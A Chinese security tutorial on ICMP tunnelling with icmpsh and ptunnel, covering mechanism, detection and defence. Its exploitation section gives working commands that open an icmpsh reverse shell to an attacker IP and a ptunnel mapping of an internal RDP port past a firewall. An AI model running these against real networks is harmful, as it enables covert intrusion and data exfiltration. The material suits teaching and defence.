ICMP 隧道工具实战(icmpsh / ptunnel)

ICMP 隧道原理与工具使用:icmpsh 命令回显、ptunnel 建立 TCP over ICMP 隧道,原理、影响、利用、检测、防御与加固。

写在前面:合法学习边界

ICMP 隧道只在授权内网靶场使用。对非授权网络建立隐蔽通道可能触犯法律。

一、漏洞原理

很多防火墙放行 ICMP(否则 ping 不通,运维排查麻烦),但会拦截常见端口(443/445/3389 等)。ICMP 隧道就是把数据封装进 ICMP echo(ping)包,借这条“放行通道”传数据。

1
2
数据 → 封装进 ICMP payload → 对端解封装
看起来只是普通 ping,实际在传任意数据

常用工具:

1
2
3
icmpsh:简单,做命令回显/反弹
ptunnel:建立 TCP over ICMP 隧道
PingTunnel:类似 ptunnel

二、影响与危害

1
2
3
绕过防火墙出站限制
在只放行 ICMP 的环境建立通道
外带数据、隧道代理

风险等级:高(一旦建立等于打通网络隔离)。

三、利用 / 复现

icmpsh:命令回显/反弹

1
2
3
4
# 攻击机(服务器端)
python icmpsh_m.py 攻击机IP 目标IP
# 目标机(客户端,需要 root)
./icmpsh.exe -t 攻击机IP -d 500 -s 500

连接成功后目标机的 Shell 回到攻击机。

ptunnel:TCP over ICMP

1
2
3
4
5
6
# 服务端(攻击机,监听)
./ptunnel -x 密码
# 客户端(目标机,连接到内网某台机器)
./ptunnel -p 攻击机IP -lp 2222 -da 10.0.0.5 -dp 3389 -x 密码
# 本地连接
rdesktop 127.0.0.1:2222

即通过 ICMP 隧道把内网 10.0.0.5:3389 映射到本地 2222 端口。

使用条件

1
2
3
能 ping 通目标(ICMP 放行)
icmpsh 客户端需要 root/管理员权限
网络中间不能过滤畸形 ICMP 包

四、检测

1
2
3
4
5
ICMP 包体积异常大(超过正常 ping 的 64/128 字节)
高频、连续 ICMP 请求(正常 ping 频率低)
ICMP payload 内容非纯数字/字母,出现编码特征
请求与响应包大小比例异常
同一 IP 长时间持续 ICMP 交互

五、防御

1
2
3
4
防火墙限制 ICMP 出站/入站到可信来源
监控异常 ICMP 流量并告警
在边界禁止畸形/超大 ICMP 包
对关键网段关闭 ICMP 回显

六、加固(修复)

1
2
3
4
发现隧道:断开通道并封禁来源 IP
清理隧道工具与持久化进程
收紧 ICMP 策略,补边界防护
对失陷主机取证追查数据流向

完整操作步骤

1
2
3
4
5
第 1 步:确认能 ping 通目标(ICMP 放行)
第 2 步:icmpsh 命令回显(目标需 root)
第 3 步:ptunnel 把内网端口映射到本地
第 4 步:通过隧道访问内网服务
第 5 步:使用完清理

七、小结

ICMP 隧道是“规则总是漏掉的那条路”:防火墙防端口,却常放行 ping。红队用它绕隔离,蓝队要抓的是异常 ICMP 的特征——大包、高频、非正常 payload。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处